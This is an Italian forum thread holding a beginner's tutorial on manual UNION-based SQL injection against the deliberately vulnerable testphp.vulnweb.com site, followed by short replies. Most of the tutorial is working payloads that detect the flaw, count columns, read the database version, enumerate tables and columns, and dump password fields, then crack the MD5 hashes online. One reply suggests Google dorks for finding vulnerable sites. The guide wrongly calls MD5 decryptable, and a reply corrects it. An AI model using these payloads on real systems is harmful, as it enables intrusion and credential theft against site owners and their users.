BorderGame

Versione completa: [GUIDA] SQL Injection
Al momento stai visualizzando i contenuti in una versione ridotta. Visualizza la versione completa e formattata.
Ciao gente, da qualche giorno a questa parte dopo aver completato il mio ultimo sito un mio compagno di classe mi ha mostrato cosa poteva fare attraverlo le sql injection, così allora mi sono avventurato pure io in questa nuova avventura. Premetto che non sono un esperto, per cui ieri ho dato anche qualche nozione a @[~SilverNik], ma comunque sia cominciamo..
Tutti i test legali, possibili e immaginabili sulle iniezioni le faremo su: http://testphp.vulnweb.com/index.php ovvero un sito nato appositamente per questo.
Dato che non sono un esperto vi elenco degli utili comandi che utilizzo per scoprire le tabelle e poi i loro records. Cominciamo!

Il modo più semplice per vedere se un sito ha delle falle è utilizzare l'apice " ' ", applichiamolo dopo il target dato dall'url php.
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1'
Se da un qualsiasi tipo di errore, vuol dire che il sito è attaccabile, adesso scopriamo quante colonne possiede il db utilizzando questo codice:
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 order by 2--
vi è il numero due poichè se c'è un db e non ci sono errori la prima colonna c'è per forza, di conseguenza testiamo con 3,4,5 etc..
Ho gia svolto io il lavoro per voi e vi dico che ci sono 11 colonne, per cui adesso controlliamo la versione di sql scrivendo:
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,@@version,3,4,5,6,7,8,9,10,11--
una volta trovato possiamo passare al controllo dei campi.
Per passare ai records, dobbiamo conoscere la struttura della tabella e dei suoi campi per cui scriviamo:
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,table_name,3,4,5,6,7,8,9,10,11 FROM information_schema.tables--
adesso avrete una vasta lista, prendete il nome della tabelle che volete controllare e scrivete:
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,column_name,3,4,5,6,7,8,9,10,11 FROM information_schema.columns where table_name="qui_metto_il_nome_della_tabella"--
.
Adesso miei piccoli hackers siamo giunti al termine, leggiamo il campo che cercavamo:
Codice:
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,nome_del_campo_per_esempio:password,3,4,5,6,7,8,9,10,11 FROM nometabella--
Fatto ciò il sito vi restituirà automaticamente il dato cercato, spesso sono crittografati in MD5, per cui basta andare qui(http://md5-hash-online.waraxe.us/) e decrittografare.

Ci sono diversi altri metodi per eseguire le famose sql injection, io vi ho presentato il più semplice però chi vuole continuare a giochicchiarci provi sqlmap, farete tutto tramite shell, il divertimento è assicurato.
@[scl] carina la guida Big Grin : +1
Ti consiglierei anche di inserire le Dork per trovare siti vulnerabili con google.
Guida ottima bravo
Sqlmap resta il migliore xD io lo utilizzo con kali linux
Carino.

PS: Ricorda che una stringa criptata in MD5 non è decriptabile.
Il quel sito non criptare e poi decriptare la stringa, decriptane una e basta.
Ogni volta che ne scripti una salva nel db la stringa e il risultato md5 così poi quando scrivi l'md5 guarda nel db la stringa non criptata.

Ho spiegato da cani ma vabbé
URL di riferimento